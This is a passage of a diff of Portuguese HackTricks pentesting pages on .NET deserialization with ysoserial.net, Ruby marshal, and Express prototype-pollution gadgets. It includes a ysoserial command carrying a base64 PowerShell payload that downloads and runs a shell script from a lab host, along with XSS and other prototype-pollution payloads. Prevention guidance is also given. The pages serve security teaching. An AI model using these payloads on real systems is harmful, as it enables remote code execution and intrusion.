* \*\*`--output` \*\* usado para indicar se você quer o exploit em **raw** ou **codificado em base64**. _Note que o **ysoserial.net** irá **codificar** o payload usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo de um console linux, você pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB o payload funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
||||||
* \*\*`--plugin` \*\* o ysoserial.net suporta plugins para criar **exploits para frameworks específicos**, como ViewState
|
* \*\*`--plugin` \*\* ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
|
||||||
|
|
||||||
#### Mais parâmetros do ysoserial.net
|
#### Mais parâmetros do ysoserial.net
|
||||||
|
|
||||||
* `--minify` fornecerá uma **carga útil menor** (se possível)
|
* `--minify` fornecerá um **payload menor** (se possível)
|
||||||
* `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um determinado formatador (`Json.Net` neste caso)
|
* `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (`Json.Net` neste caso)
|
||||||
* `--sf xml` você pode **indicar um gadget** (`-g`) e o ysoserial.net procurará por formatadores que contenham "xml" (sem diferenciação de maiúsculas e minúsculas)
|
* `--sf xml` você pode **indicar um gadget** (`-g`) e o ysoserial.net procurará por formatadores contendo "xml" (insensível a maiúsculas e minúsculas)
|
||||||
|
|
||||||
**Exemplos do ysoserial.net** para criar exploits:
|
**Exemplos de ysoserial** para criar exploits:
|
||||||
```bash
|
```bash
|
||||||
#Send ping
|
#Send ping
|
||||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||||
|
@ -650,7 +654,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||||
#Create exploit using the created B64 shellcode
|
#Create exploit using the created B64 shellcode
|
||||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||||
```
|
```
|
||||||
**ysoserial.net** também possui um parâmetro muito interessante que ajuda a entender melhor como cada exploit funciona: `--test`. Se você indicar esse parâmetro, o **ysoserial.net** tentará o exploit localmente, para que você possa testar se sua carga útil funcionará corretamente. Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
**ysoserial.net** também possui um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
|
||||||
|
Se você indicar esse parâmetro, o **ysoserial.net** irá **tentar** o **exploit localmente,** para que você possa testar se seu payload funcionará corretamente.\
|
||||||
|
Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||||
```java
|
```java
|
||||||
if (inputArgs.Test)
|
if (inputArgs.Test)
|
||||||
{
|
{
|
||||||
|
@ -664,7 +670,7 @@ Debugging.ShowErrors(inputArgs, err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Isso significa que, para testar a exploração, o código irá chamar [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
Isso significa que, para testar o exploit, o código chamará [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||||
```java
|
```java
|
||||||
public static object JsonNet_deserialize(string str)
|
public static object JsonNet_deserialize(string str)
|
||||||
{
|
{
|
||||||
|
@ -675,32 +681,32 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||||
return obj;
|
return obj;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
No código anterior, há uma vulnerabilidade que pode ser explorada. Portanto, se você encontrar algo semelhante em um aplicativo .Net, provavelmente esse aplicativo também é vulnerável.\
|
No **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso significa que provavelmente essa aplicação também é vulnerável.
|
||||||
Portanto, o parâmetro **`--test`** nos permite entender **quais trechos de código são vulneráveis** ao exploit de deserialização que o **ysoserial.net** pode criar.
|
Assim, o parâmetro **`--test`** nos permite entender **quais trechos de código são vulneráveis** ao exploit de deserialização que o **ysoserial.net** pode criar.
|
||||||
|
|
||||||
### ViewState
|
### ViewState
|
||||||
|
|
||||||
Dê uma olhada neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net** para **executar código arbitrário**. Se você **já conhece os segredos** usados pela máquina vítima, [**leia este post para saber como executar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
Dê uma olhada [neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net**](exploiting-\_\_viewstate-parameter.md) para **executar código arbitrário**. Se você **já conhece os segredos** usados pela máquina vítima, [**leia este post para saber como executar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
||||||
|
|
||||||
### **Prevenção**
|
### **Prevenção**
|
||||||
|
|
||||||
Não permita que o fluxo de dados defina o tipo de objeto para o qual o fluxo será desserializado. Você pode prevenir isso, por exemplo, usando o `DataContractSerializer` ou `XmlSerializer`, se possível.
|
Não permita que o fluxo de dados defina o tipo de objeto para o qual o fluxo será deserializado. Você pode prevenir isso, por exemplo, usando o `DataContractSerializer` ou `XmlSerializer`, se possível.
|
||||||
|
|
||||||
Onde o `JSON.Net` está sendo usado, certifique-se de que o `TypeNameHandling` esteja definido apenas como `None`.
|
Quando estiver usando `JSON.Net`, certifique-se de que o `TypeNameHandling` esteja configurado apenas como `None`.
|
||||||
```
|
```
|
||||||
TypeNameHandling = TypeNameHandling.None
|
TypeNameHandling = TypeNameHandling.None
|
||||||
```
|
```
|
||||||
Se for necessário usar o `JavaScriptSerializer`, não o utilize com um `JavaScriptTypeResolver`.
|
Se `JavaScriptSerializer` for ser usado, então não o utilize com um `JavaScriptTypeResolver`.
|
||||||
|
|
||||||
Se você precisar desserializar fluxos de dados que definem seu próprio tipo, restrinja os tipos que são permitidos ser desserializados. Deve-se estar ciente de que isso ainda é arriscado, pois muitos tipos nativos do .Net são potencialmente perigosos por si só. Por exemplo:
|
Se for necessário deserializar fluxos de dados que definem seu próprio tipo, então restrinja os tipos que são permitidos para deserialização. Deve-se estar ciente de que isso ainda é arriscado, pois muitos tipos nativos do .Net são potencialmente perigosos por si só. Exemplo:
|
||||||
```
|
```
|
||||||
System.IO.FileInfo
|
System.IO.FileInfo
|
||||||
```
|
```
|
||||||
Objetos `FileInfo` que referenciam arquivos realmente no servidor podem, quando desserializados, alterar as propriedades desses arquivos, por exemplo, para somente leitura, criando um potencial ataque de negação de serviço.
|
Objetos `FileInfo` que referenciam arquivos realmente presentes no servidor podem, quando desserializados, alterar as propriedades desses arquivos, por exemplo, para somente leitura, criando um potencial ataque de negação de serviço.
|
||||||
|
|
||||||
Mesmo que você tenha limitado os tipos que podem ser desserializados, lembre-se de que alguns tipos têm propriedades arriscadas. Por exemplo, `System.ComponentModel.DataAnnotations.ValidationException` tem uma propriedade `Value` do tipo `Object`. Se esse tipo for permitido para desserialização, um invasor pode definir a propriedade `Value` para qualquer tipo de objeto que escolher.
|
Mesmo que você tenha limitado os tipos que podem ser desserializados, lembre-se de que alguns tipos têm propriedades que são arriscadas. `System.ComponentModel.DataAnnotations.ValidationException`, por exemplo, tem uma propriedade `Value` do tipo `Object`. Se esse tipo é o tipo permitido para desserialização, então um atacante pode definir a propriedade `Value` para qualquer tipo de objeto que escolherem.
|
||||||
|
|
||||||
Os invasores devem ser impedidos de controlar o tipo que será instanciado. Se isso for possível, até mesmo `DataContractSerializer` ou `XmlSerializer` podem ser subvertidos, por exemplo.
|
Atacantes devem ser impedidos de direcionar o tipo que será instanciado. Se isso for possível, então até `DataContractSerializer` ou `XmlSerializer` podem ser subvertidos, por exemplo:
|
||||||
```
|
```
|
||||||
// Action below is dangerous if the attacker can change the data in the database
|
// Action below is dangerous if the attacker can change the data in the database
|
||||||
var typename = GetTransactionTypeFromDatabase();
|
var typename = GetTransactionTypeFromDatabase();
|
||||||
|
@ -719,22 +725,22 @@ if (suspectObject is SomeDangerousObjectType)
|
||||||
//generate warnings and dispose of suspectObject
|
//generate warnings and dispose of suspectObject
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Para `BinaryFormatter` e `JSON.Net`, é possível criar uma forma mais segura de controle de lista branca usando um `SerializationBinder` personalizado.
|
Para `BinaryFormatter` e `JSON.Net` é possível criar uma forma mais segura de controle de lista branca usando um `SerializationBinder` personalizado.
|
||||||
|
|
||||||
Tente se manter atualizado sobre os gadgets de deserialização inseguros conhecidos do .Net e preste atenção especial onde esses tipos podem ser criados pelos seus processos de deserialização. **Um desserializador só pode instanciar tipos que ele conhece**.
|
Tente manter-se atualizado sobre os gadgets de deserialização insegura .Net conhecidos e preste atenção especial onde tais tipos podem ser criados pelos seus processos de deserialização. **Um deserializador só pode instanciar tipos que ele conhece**.
|
||||||
|
|
||||||
Tente manter qualquer código que possa criar gadgets potenciais separado de qualquer código que tenha conectividade com a internet. Como exemplo, o `System.Windows.Data.ObjectDataProvider` usado em aplicativos WPF é um gadget conhecido que permite a invocação arbitrária de métodos. Seria arriscado ter essa referência a essa assembly em um projeto de serviço REST que desserializa dados não confiáveis.
|
Tente manter qualquer código que possa criar gadgets potenciais separado de qualquer código que tenha conectividade com a internet. Como exemplo, `System.Windows.Data.ObjectDataProvider` usado em aplicações WPF é um gadget conhecido que permite a invocação arbitrária de métodos. Seria arriscado ter uma referência a este assembly em um projeto de serviço REST que deserializa dados não confiáveis.
|
||||||
|
|
||||||
### **Referências**
|
### **Referências**
|
||||||
|
|
||||||
* **Artigo** sobre deserialização JSON em Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** **palestra**: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e **slides**: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
* Java e .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
||||||
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
||||||
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||||
|
|
||||||
## **Ruby**
|
## **Ruby**
|
||||||
|
|
||||||
Ruby possui dois métodos para implementar a serialização dentro da biblioteca **marshal**: o primeiro método é o **dump**, que converte o objeto em fluxos de bytes **(serializar)**. E o segundo método é o **load**, para converter o fluxo de bytes de volta para objeto (**desserializar**).\
|
Ruby possui dois métodos para implementar serialização dentro da biblioteca **marshal**: o primeiro método é **dump** que converte objeto em fluxos de bytes **(serialize)**. E o segundo método é **load** para converter fluxos de bytes em objeto novamente (**deserialize**).\
|
||||||
Ruby usa HMAC para assinar o objeto serializado e salva a chave em um dos seguintes arquivos:
|
Ruby usa HMAC para assinar o objeto serializado e salva a chave em um dos seguintes arquivos:
|
||||||
|
|
||||||
* config/environment.rb
|
* config/environment.rb
|
||||||
|
@ -811,16 +817,18 @@ require "base64"
|
||||||
puts "Payload (Base64 encoded):"
|
puts "Payload (Base64 encoded):"
|
||||||
puts Base64.encode64(payload)
|
puts Base64.encode64(payload)
|
||||||
```
|
```
|
||||||
Outra cadeia de RCE para explorar o Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
Outra cadeia de RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,34 +1,35 @@
|
||||||
# Gadgets de Poluição de Protótipo do Express
|
# Gadgets de Poluição de Protótipo no Express
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Servir respostas XSS
|
## Servir respostas XSS
|
||||||
|
|
||||||
### Alterar o tipo de conteúdo JSON para HTML
|
### Alterar o tipo de conteúdo JSON para HTML
|
||||||
|
|
||||||
Em um aplicativo Express que usa uma **resposta de tipo de conteúdo JSON** e reflete um JSON:
|
Em um aplicativo Express usando uma **resposta de tipo de conteúdo JSON** e refletindo um JSON:
|
||||||
```javascript
|
```javascript
|
||||||
app.use(bodyParser.json({type: 'application/json'}));
|
app.use(bodyParser.json({type: 'application/json'}));
|
||||||
app.post('/', function(req, res){
|
app.post('/', function(req, res){
|
||||||
_.merge({}, req.body);
|
_.merge({}, req.body);
|
||||||
res.send(req.body);
|
res.send(req.body);
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Nesses casos, normalmente não é possível realizar XSS com um tipo de conteúdo JSON. No entanto, com a poluição de protótipos, podemos **confundir o Express para servir uma resposta HTML**. Essa vulnerabilidade depende da aplicação usar **`res.send(obj)`** e usar o analisador de corpo com o tipo de conteúdo application/json.
|
Nesses casos, normalmente não é possível XSS com um tipo de conteúdo JSON. No entanto, com a poluição de protótipo, podemos **confundir o Express para fornecer uma resposta em HTML.** Esta vulnerabilidade depende da aplicação usar **`res.send(obj)`** e do uso do analisador de corpo com o tipo de conteúdo application/json.
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||||
```
|
```
|
||||||
Ao **poluir** as propriedades **`body`** e **`_body`**, é possível fazer com que o **Express sirva o tipo de conteúdo HTML** e reflita a propriedade `_body`, resultando em XSS armazenado.
|
Ao **poluir** tanto as propriedades **`body`** quanto **`_body`**, é possível fazer com que o **Express sirva o tipo de conteúdo HTML** e reflita a propriedade `_body`, resultando em XSS armazenado.
|
||||||
|
|
||||||
### Renderizar UTF7
|
### Renderizar UTF7
|
||||||
|
|
||||||
|
@ -36,15 +37,15 @@ Ao **poluir** as propriedades **`body`** e **`_body`**, é possível fazer com q
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
|
||||||
```
|
```
|
||||||
## Técnicas de Escaneamento Seguro
|
## Técnicas de Varredura Seguras
|
||||||
|
|
||||||
### Espaços em JSON
|
### Espaços JSON
|
||||||
|
|
||||||
O seguinte PP fará com que os atributos dentro de um JSON tenham um espaço extra que não quebrará a funcionalidade:
|
O seguinte PP fará com que atributos dentro de um JSON tenham um espaço extra, o que não quebrará a funcionalidade:
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"json spaces": " "}}
|
{"__proto__":{"json spaces": " "}}
|
||||||
```
|
```
|
||||||
Então um JSON refletido ficará assim:
|
Então um JSON refletido terá a seguinte aparência:
|
||||||
```json
|
```json
|
||||||
{"foo": "bar"} -- Note the extra space
|
{"foo": "bar"} -- Note the extra space
|
||||||
```
|
```
|
||||||
|
@ -54,11 +55,11 @@ O seguinte gadget PP fará com que o servidor envie de volta o cabeçalho HTTP:
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"exposedHeaders":["foo"]}}
|
{"__proto__":{"exposedHeaders":["foo"]}}
|
||||||
```
|
```
|
||||||
É necessário que o **módulo CORS esteja instalado**.
|
Requer que o **módulo CORS esteja instalado**
|
||||||
|
|
||||||
### **Método OPTIONS**
|
### **Método OPTIONS**
|
||||||
|
|
||||||
Com a seguinte carga útil, é possível **ocultar um método de uma resposta OPTIONS**:
|
Com o seguinte payload, é possível **ocultar um método de uma resposta OPTIONS**:
|
||||||
```javascript
|
```javascript
|
||||||
// Original reponse: POST,GET,HEAD
|
// Original reponse: POST,GET,HEAD
|
||||||
|
|
||||||
|
@ -75,32 +76,32 @@ Com a seguinte carga útil, é possível **ocultar um método de uma resposta OP
|
||||||
```
|
```
|
||||||
### Erro
|
### Erro
|
||||||
|
|
||||||
Quando você atribui a um protótipo um valor primitivo, como uma string, isso produz uma **operação sem efeito, já que o protótipo deve ser um objeto**. Se você tentar atribuir um objeto protótipo ao `Object.prototype` em si, isso irá **gerar uma exceção**. Podemos usar esses dois comportamentos para **detectar se a poluição de protótipo foi bem-sucedida**:
|
Quando você atribui um protótipo a um primitivo, como uma string, isso resulta em uma **operação no-op, já que o protótipo deve ser um objeto**. Se você tentar atribuir um objeto protótipo ao próprio `Object.prototype`, isso **lançará uma exceção**. Podemos usar esses dois comportamentos para **detectar se a poluição de protótipo foi bem-sucedida**:
|
||||||
```javascript
|
```javascript
|
||||||
({}).__proto__.__proto__={}//throws type exception
|
({}).__proto__.__proto__={}//throws type exception
|
||||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||||
```
|
```
|
||||||
### Valor Refletido
|
### Valor Refletido
|
||||||
|
|
||||||
Se a aplicação estiver refletindo um objeto na resposta, você pode simplesmente criar um atributo com um **nome estranho e o `__proto__`** e se **apenas o estranho for refletido**, é possível que a aplicação web seja vulnerável:
|
Se a aplicação estiver refletindo um objeto na resposta, você pode simplesmente criar um atributo com um **nome estranho e o `__proto__`** e se **apenas o nome estranho for refletido**, é possível que a web seja vulnerável:
|
||||||
```json
|
```json
|
||||||
{"hacktricks":"rocks","__proto__":"test"}
|
{"hacktricks":"rocks","__proto__":"test"}
|
||||||
```
|
```
|
||||||
Ou se o Lodash ou uma biblioteca similar for usada, você pode **definir uma propriedade via PP dentro do objeto** e se essa propriedade não for refletida é porque o Lodash olha para o objeto atual para ver se a propriedade já existe no objeto mesclado:
|
Ou se a biblioteca Lodash ou similar for usada, você pode **definir uma propriedade via PP e dentro do objeto** e se essa propriedade não for refletida é porque o Lodash olha para o objeto atual para ver se a propriedade já existe no objeto mesclado:
|
||||||
```javascript
|
```javascript
|
||||||
{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
|
{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
|
||||||
// If only b is reflected then PP in Lodash
|
// If only b is reflected then PP in Lodash
|
||||||
```
|
```
|
||||||
## Misc
|
## Diversos
|
||||||
|
|
||||||
### Permitir Pontos
|
### Permitir Pontos
|
||||||
|
|
||||||
Existe uma opção no Express que permite **criar objetos a partir de parâmetros de string de consulta**.\
|
Existe uma opção no Express que permite **criar objetos a partir de parâmetros de string de consulta**.\
|
||||||
Você pode definitivamente usá-lo em uma **cadeia** de bugs para explorar uma vulnerabilidade de **poluição de protótipo**.
|
Você poderia definitivamente usá-la em uma **cadeia de bugs** para explorar uma **vulnerabilidade de poluição de protótipo**.
|
||||||
```json
|
```json
|
||||||
{"__proto__":{"allowDots":true}}
|
{"__proto__":{"allowDots":true}}
|
||||||
```
|
```
|
||||||
**`?foo.bar=baz` cria um objeto no Node.**
|
**`?foo.bar=baz` cria um objeto em Node.**
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -108,12 +109,14 @@ Você pode definitivamente usá-lo em uma **cadeia** de bugs para explorar uma v
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
